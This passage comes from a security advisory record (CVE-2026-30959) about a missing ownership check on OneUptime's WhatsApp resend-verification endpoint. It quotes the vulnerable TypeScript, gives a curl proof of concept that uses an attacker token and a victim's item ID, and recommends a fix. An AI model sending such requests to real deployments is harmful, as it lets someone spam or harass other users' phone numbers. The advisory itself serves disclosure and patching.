Ownership is not validated (unlike the verify endpoint).\n\n### Affected Source  \n- Endpoint: [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)  \n- Service: [UserWhatsAppService.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)  \n- Verify ownership (present in verify endpoint for comparison): [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L78-L87)\n\n\n### Full Code Lines (UserWhatsAppAPI.ts)\n\nResend path (authorization gap):\n\n```ts\n    this.router.post(\n      `${new this.entityType()\n        .getCrudApiPath()\n        ?.toString()}/resend-verification-code`,\n      UserMiddleware.getUserMiddleware,\n      async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {\n        try {\n          req = req as OneUptimeRequest;\n\n          if (!req.body.itemId) {\n            return Response.sendErrorResponse(\n              req,\n              res,\n              new BadDataException(\"Invalid item ID\"),\n            );\n          }\n\n          await this.service.resendVerificationCode(req.body.itemId);\n\n          return Response.sendEmptySuccessResponse(req, res);\n        } catch (err) {\n          return next(err);\n        }\n      },\n    );\n```\n\nVerify path (ownership check present):\n\n```ts\n          if (\n            item.userId?.toString() !==\n            (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()\n          ) {\n            return Response.sendErrorResponse(\n              req,\n              res,\n              new BadDataException(\"Invalid user ID\"),\n            );\n          }\n```\n\n## Prerequisites\n- Valid attacker account with access to a project\n- Attacker access token\n- A victim’s `UserWhatsApp` itemId belonging to the same project\n\n## Steps to Reproduce\n1. Set your attacker token:\n\n   ```bash\n   export ATK=\"Bearer <attacker-access-token>\"\n   ```\n\n2. Trigger resend for the victim’s item:\n\n   ```bash\n   curl -s -X POST \\\n     -H \"Content-Type: application/json\" \\\n     -H \"Authorization: $ATK\" \\\n     -d '{\"itemId\":\"<victim-userwhatsapp-id>\"}' \\\n     http://<host>/api/user-whats-app/resend-verification-code\n   ```\n\n## Expected/Observed Behavior\n- HTTP 200 with `{}` body and a new verification code sent to the victim’s phone\n- No checks confirm that `item.userId` equals the authenticated user’s ID for the resend path\n\n## Impact\n- Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends\n\n## Recommended Fix\n- Enforce ownership: `item.userId` must match the authenticated user\n- Add per-item and per-user rate limiting for resends","state":0,"publishedAt":"2026-03-10T01:15:30+00:00","modifiedAt":"2026-03-10T19:01:32.247422+00:00","affected":[{"ecosystem":"npm","name":"@oneuptime/common","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"10.0.21"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/OneUptime/oneuptime/security/advisories/GHSA-cw6x-mw64-q6pv","https://nvd.nist.gov/vuln/detail/CVE-2026-30959","https://github.com/OneUptime/oneuptime","https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"],"sourceUrl":"https://github.com/advisories/GHSA-cw6x-mw64-q6pv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cw6x-mw64-q6pv","identifiers":["GHSA-cw6x-mw64-q6pv","CVE-2026-30959"]},"retained":false,"historicalAffected":[]}],"coverage":[]}
